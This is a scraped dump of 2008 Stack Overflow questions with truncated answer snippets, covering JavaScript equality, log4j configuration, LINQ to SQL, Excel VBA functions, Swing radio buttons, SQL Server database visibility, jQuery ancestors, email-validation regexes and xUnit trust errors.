<p>A strict equality operator will tell you if two object <strong>types</strong> are equal. However, is there a way to tell if two objects are equal, <strong>much like the hash code</strong> value in Java?</p> <p>Stack Overflow question <em><a href="https://stackoverflow.com/questions/194846">Is there any kind of hashCode function in JavaScript?</a></em> is similar to this question, but requires a more academic answer. The scenario above demonstrates why it would be necessary to have one, and I'm wondering if there is any <strong>equivalent solution</strong>.</p>
[ { "answer_id": 201265, "author": "nickf", "author_id": 9021, "author_profile": "https://Stackoverflow.com/users/9021", "pm_score": 5, "selected": false, "text": "var a = { foo : \"bar\" };\nvar b = { foo : \"bar\" };\nalert (a == b ? \"Equal\" : \"Not equal\");\n// \"Not equal\"\n" }, ...
2008/10/14
[ "https://Stackoverflow.com/questions/201183", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
201,188
<p>Is it possible to reference system environment variables (as opposed to Java system properties) in a log4j xml configuration file?</p> <p>I'd like to be able to do something like:</p> <pre><code>&lt;level value="${env.LOG_LEVEL}" /&gt; </code></pre> <p>and have it get that from the system environment variables, so I can avoid having to pass in so many things with -D parameters.</p>
[ { "answer_id": 201489, "author": "Einar", "author_id": 2964, "author_profile": "https://Stackoverflow.com/users/2964", "pm_score": 6, "selected": false, "text": "<level value=\"${log_level}\" />\n" }, { "answer_id": 203941, "author": "Martin Probst", "author_id": 22227, ...
2008/10/14
[ "https://Stackoverflow.com/questions/201188", "https://Stackoverflow.com", "https://Stackoverflow.com/users/22070/" ]
201,191
<p>We are using Linq To SQL with our own data context logic that executes the one linq query across multiple databases. When we get the results back, we need the database for each of the rows. So...</p> <p>I want to have a property on my class that will return the database name (SQL Server, so DB_NAME()). How can I do this in Linq To Sql?</p> <hr> <p>Dave, thanks for the answer, but we have hundreds of databases and don't want to have to add views if possible.</p>
[ { "answer_id": 201489, "author": "Einar", "author_id": 2964, "author_profile": "https://Stackoverflow.com/users/2964", "pm_score": 6, "selected": false, "text": "<level value=\"${log_level}\" />\n" }, { "answer_id": 203941, "author": "Martin Probst", "author_id": 22227, ...
2008/10/14
[ "https://Stackoverflow.com/questions/201191", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5189/" ]
201,204
<p>I have a MDB running in WebSphere, when it tries to pull a message off an MQ Queue the following exception is thrown:</p> <p>com.ibm.mq.MQException: Message catalog not found </p> <p>Any idea how to resolve this?</p>
[ { "answer_id": 906429, "author": "Aaron Digulla", "author_id": 34088, "author_profile": "https://Stackoverflow.com/users/34088", "pm_score": 0, "selected": false, "text": " // PATCH New fields\n private final static IntHashMap completionCodes = new IntHashMap ();\n private final...
2008/10/14
[ "https://Stackoverflow.com/questions/201204", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
201,235
<p>I need to import all ad groups in a few OUs into a table in SQL Server 2008. Once I have those I need to import all the members of those groups to a different table. I can use c# to do the work and pass the data to SQL server or do it directly in SQL server.</p> <p>Suggestions on the best way to approach this?</p>
[ { "answer_id": 207923, "author": "Matthias Meid", "author_id": 17713, "author_profile": "https://Stackoverflow.com/users/17713", "pm_score": 3, "selected": true, "text": "\"(&(objectCategory=Person)(memberOf=DN=GroupName, OU=Org, DC=domain,\nDC=com))\"\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/201235", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26792/" ]
201,255
<p>Using C#, does anyone know how to get the MarshalAsAttribute's Sizeconst value in runtime ?</p> <p>Eg. I would like to retrieve the value of 10.</p> <pre><code>[StructLayout[LayoutKind.Sequential, Pack=1] Class StructureToMarshalFrom { [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] public byte[] _value1; } </code></pre>
[ { "answer_id": 201266, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 3, "selected": true, "text": "FieldInfo field = typeof(StructureToMarshalFrom).GetField(\"_value1\");\nobject[] attributes = field.GetCustomAttributes(...
2008/10/14
[ "https://Stackoverflow.com/questions/201255", "https://Stackoverflow.com", "https://Stackoverflow.com/users/279238/" ]
201,261
<p>Let's say that I create a Sub (not a function) whose mission in life is to take the active cell (i.e. Selection) and set an adjacent cell to some value. This works fine.</p> <p>When you try to convert that Sub to a Function and try to evaluate it from from spreadsheet (i.e. setting it's formula to "=MyFunction()") Excel will bark at the fact that you are trying to affect the value of the non-active cell, and simply force the function to return #VALUE without touching the adjacent cell.</p> <p>Is it possible to turn off this protective behavior? If not, what's a good way to get around it? I am looking for something a competent developer could accomplish over a 1-2 week period, if possible.</p> <p>Regards, Alan.</p> <p>Note: I am using 2002, so I would favor a solution that would work for that version. Having that said, if future versions make this significantly easier, I'd like to know about it too.</p>
[ { "answer_id": 201552, "author": "GvS", "author_id": 11492, "author_profile": "https://Stackoverflow.com/users/11492", "pm_score": 2, "selected": false, "text": "Public Function Bar(r As Range) As Integer\n If r.Value = 2 Then\n Bar = 0\n Else\n Bar = 128\n End If\nEnd Function\...
2008/10/14
[ "https://Stackoverflow.com/questions/201261", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7311/" ]
201,282
<p>Microsoft SQL Server and MySQL have an INFORMATION_SCHEMA table that I can query. However it does not exist in an MS Access database.</p> <p>Is there an equivalent I can use?</p>
[ { "answer_id": 201297, "author": "Ilya Kochetov", "author_id": 15329, "author_profile": "https://Stackoverflow.com/users/15329", "pm_score": 1, "selected": false, "text": "SELECT \n Table_Name = Name, \nFROM \n MSysObjects \nWHERE \n (Left([Name],1)<>\"~\") \n AND (Left([Name...
2008/10/14
[ "https://Stackoverflow.com/questions/201282", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5978/" ]
201,287
<p>I have a swing application that includes radio buttons on a form. I have the <code>ButtonGroup</code>, however, looking at the available methods, I can't seem to get the name of the selected <code>JRadioButton</code>. Here's what I can tell so far:</p> <ul> <li><p>From ButtonGroup, I can perform a <code>getSelection()</code> to return the <code>ButtonModel</code>. From there, I can perform a <code>getActionCommand</code>, but that doesn't seem to always work. I tried different tests and got unpredictable results.</p></li> <li><p>Also from <code>ButtonGroup</code>, I can get an Enumeration from <code>getElements()</code>. However, then I would have to loop through each button just to check and see if it is the one selected.</p></li> </ul> <p>Is there an easier way to find out which button has been selected? I'm programing this in Java 1.3.1 and Swing.</p>
[ { "answer_id": 201313, "author": "Draemon", "author_id": 26334, "author_profile": "https://Stackoverflow.com/users/26334", "pm_score": 7, "selected": true, "text": "JRadioButtons" }, { "answer_id": 201429, "author": "Chobicus", "author_id": 1514822, "author_profile": ...
2008/10/14
[ "https://Stackoverflow.com/questions/201287", "https://Stackoverflow.com", "https://Stackoverflow.com/users/21987/" ]
201,292
<p>By default if you connect to a remote SQL Server via an account that has access to say 1 of the 10 databases. You will still see in the Object Explorer all other databases, obviously due to permissions you cannot actually query them, but you can see their names.</p> <p>I have heard that there is a method that disable this behavior, but I've been unable to find the answer, does anyone know how to do this? To give an example I have a SQL Server called MyDbServer, it has 4 databases, </p> <ol> <li>MyDatabase</li> <li>YourDatabse</li> <li>PrivateDatabase</li> <li>ReallyPrivateDb</li> </ol> <p>If you connect via an account that only has permissions to "YourDatabse" you will still see a listing of all other databases, attempts to query will grant "select" permission denied or a similar error.</p> <p>For security resons, we DO NOT want users to see any database other than the ones they are mapped to.</p>
[ { "answer_id": 201334, "author": "NotMe", "author_id": 2424, "author_profile": "https://Stackoverflow.com/users/2424", "pm_score": 0, "selected": false, "text": "use master\ngo\ndeny VIEW any DATABASE to login1\ngo\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/201292", "https://Stackoverflow.com", "https://Stackoverflow.com/users/13279/" ]
201,314
<p>In my javascript experience, I found that is a very common task "searching the nearest ancestor of an element with some condition (tag name, class,...)". Can the parents() method of jquery do the job? The order of returned elements of parents() is predictable? Is top-to-bottom or bottom-to-top? For the moment I use this utility function:</p> <pre><code>function ancestor(elem, selector) { var $elem = $( elem ).parent(); while( $elem.size() &gt; 0 ) { if( $elem.is( selector ) ) return $elem; else $elem = $elem.parent(); } return null; } </code></pre> <p>Can someone tell me if there is a clever way to do the job?</p>
[ { "answer_id": 201330, "author": "nickf", "author_id": 9021, "author_profile": "https://Stackoverflow.com/users/9021", "pm_score": 5, "selected": true, "text": "closest()" }, { "answer_id": 944765, "author": "Borgar", "author_id": 27388, "author_profile": "https://Sta...
2008/10/14
[ "https://Stackoverflow.com/questions/201314", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27789/" ]
201,323
<p>Over the years I have slowly developed a <a href="http://en.wikipedia.org/wiki/Regular_expression" rel="noreferrer">regular expression</a> that validates <em>most</em> email addresses correctly, assuming they don't use an IP address as the server part.</p> <p>I use it in several PHP programs, and it works most of the time. However, from time to time I get contacted by someone that is having trouble with a site that uses it, and I end up having to make some adjustment (most recently I realized that I wasn't allowing four-character <a href="https://en.wikipedia.org/wiki/Top-level_domain" rel="noreferrer">TLDs</a>).</p> <p><em>What is the best regular expression you have or have seen for validating emails?</em></p> <p>I've seen several solutions that use functions that use several shorter expressions, but I'd rather have one long complex expression in a simple function instead of several short expression in a more complex function.</p>
[ { "answer_id": 201336, "author": "Per Hornshøj-Schierbeck", "author_id": 11619, "author_profile": "https://Stackoverflow.com/users/11619", "pm_score": 8, "selected": false, "text": "^\\w+([-+.']\\w+)*@\\w+([-.]\\w+)*\\.\\w+([-.]\\w+)*$\n" }, { "answer_id": 201340, "author": "...
2008/10/14
[ "https://Stackoverflow.com/questions/201323", "https://Stackoverflow.com", "https://Stackoverflow.com/users/24215/" ]
201,327
<p>I just added xUnit to our test project (for the Asserts, we're still using MSTest as the framework) and immediately the test runs refused to execute any of the tests. This is the error message:</p> <blockquote> <p>Failed to queue test run '{ .... }' Test run deployment issue: The location of the file or directory '...xUnit.dll' is not trusted.</p> </blockquote>
[ { "answer_id": 340358, "author": "Davy Landman", "author_id": 11098, "author_profile": "https://Stackoverflow.com/users/11098", "pm_score": 4, "selected": false, "text": "caspol -machine -addgroup 1 -url file://\\\\server/share/* FullTrust -name DevShare\n" }, { "answer_id": 1249...
2008/10/14
[ "https://Stackoverflow.com/questions/201327", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9913/" ]